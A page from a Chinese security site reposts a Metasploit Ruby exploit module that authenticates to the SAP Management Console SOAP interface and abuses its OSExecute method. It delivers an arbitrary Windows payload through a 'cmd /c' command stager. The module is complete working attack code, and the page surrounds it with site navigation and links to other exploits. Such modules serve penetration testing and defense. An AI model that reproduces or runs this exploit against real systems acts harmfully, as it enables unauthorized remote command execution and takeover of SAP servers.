首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SAP Management Console OSExecute Payload Execution
来源:http://www.metasploit.com 作者:Chris 发布时间:2011-10-26  

##
# $Id: sap_mgmt_con_osexec_payload.rb 14048 2011-10-24 16:42:07Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 HttpFingerprint = { :pattern => [ /gSOAP\/2.7/ ] }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::CmdStagerVBS
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'SAP Management Console OSExecute Payload Execution',
   'Version'        => '$Revision: 14048 $',
   'License'        => MSF_LICENSE,
   'Author'         => [ 'Chris John Riley' ],
   'Description'    => %q{
     This module executes an arbitrary payload through the SAP Management Console
    SOAP Interface.  A valid username and password must be provided.
   },
   'References'     =>
    [
     # General
     [ 'URL', 'http://blog.c22.cc' ]
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
    },
   'Payload'        =>
    {
    'BadChars' => "\x00\x3a\x3b\x3d\x3c\x3e\x0a\x0d\x22\x26\x27\x2f\x60\xb4",
    },
   'Platforms'      => [ 'win' ],
   'Targets'        =>
    [
     [
      'Windows Universal',
      {
       'Arch' => ARCH_X86,
       'Platform' => 'win'
      },
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Mar 08 2011'
  ))

  register_options(
   [
    Opt::RPORT(50013),
    OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
    OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
    OptString.new('USERNAME', [true, 'Username to use', '']),
    OptString.new('PASSWORD', [true, 'Password to use', '']),
   ], self.class)
  register_advanced_options(
   [
    OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', '7500']),
   ], self.class)
  register_autofilter_ports([ 50013 ])
 end

 def autofilter
  false
 end

 def exploit
  print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
  linemax = datastore['PAYLOAD_SPLIT'] # Values over 9000 can cause issues
  print_status("Using custom payload size of #{linemax}") if linemax != 7500
  execute_cmdstager({ :delay => 0.35, :linemax => linemax })
  handler
 end

 # This is method required for the CmdStager to work...
 def execute_command(cmd, opts)

  soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
  xsi = 'http://www.w3.org/2001/XMLSchema-instance'
  xs = 'http://www.w3.org/2001/XMLSchema'
  sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
  ns1 = 'ns1:OSExecute'

  cmd_s = cmd.split("&") #Correct issue with multiple commands on a single line
  if cmd_s.length > 1
   print_status("Command Stager progress -  Split final payload for delivery (#{cmd_s.length} sections)")
  end

  cmd_s = cmd_s.collect(&:strip)
  cmd_s.each do |payload|

   data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
   data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '"  xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
   data << '<SOAP-ENV:Header>' + "\r\n"
   data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
   data << '<enableSession>true</enableSession>' + "\r\n"
   data << '</sapsess:Session>' + "\r\n"
   data << '</SOAP-ENV:Header>' + "\r\n"
   data << '<SOAP-ENV:Body>' + "\r\n"
   data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><command>cmd /c ' + payload.strip
   data << '</command><async>0</async></' + ns1 + '>' + "\r\n"
   data << '</SOAP-ENV:Body>' + "\r\n"
   data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"

   user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])

   begin
    res = send_request_raw({
     'uri'     => "/#{datastore['URI']}",
     'method'  => 'POST',
     'data'    => data,
     'headers' =>
      {
       'Content-Length'  => data.length,
       'SOAPAction'      => '""',
       'Authorization'   => 'Basic ' + user_pass,
       'Content-Type'    => 'text/xml; charset=UTF-8',
      }
    }, 60)

   if (res.code != 500 and res.code != 200)
    print_error("[SAP] An unknown response was received from the server")
    abort("Invlaid server response")
   elsif res.code == 500
    body = res.body
    if body.match(/Invalid Credentials/i)
     print_error("[SAP] The Supplied credentials are incorrect")
     abort("Exploit not complete, check credentials")
    elsif body.match(/Permission denied/i)
     print_error("[SAP] The Supplied credentials are valid, but lack OSExecute permissions")
     raise RuntimeError.new("Exploit not complete, check credentials")
    end
   end

   rescue ::Rex::ConnectionError
    print_error("[SAP] Unable to attempt authentication")
    break
   end
  end
 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·phpLDAPadmin <= 1.2.1.1 (query
·73 bytes sys_execve("/usr/bin/
·BlueZone Desktop Multiple Malf
·Reggae player (.ogg) Local BOF
·phpScheduleIt PHP reserve.php
·Advanced MP3 Manager 1.x Local
·GTA SA-MP server.cfg Buffer Ov
·Nextwebstudio Denial of Servic
·Linux 2.6.3* x86_64 2010 local
·FTP Voyager Remote Crash Explo
·Xorg Permission Change
·phpLDAPadmin 0.9.4b DoS
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved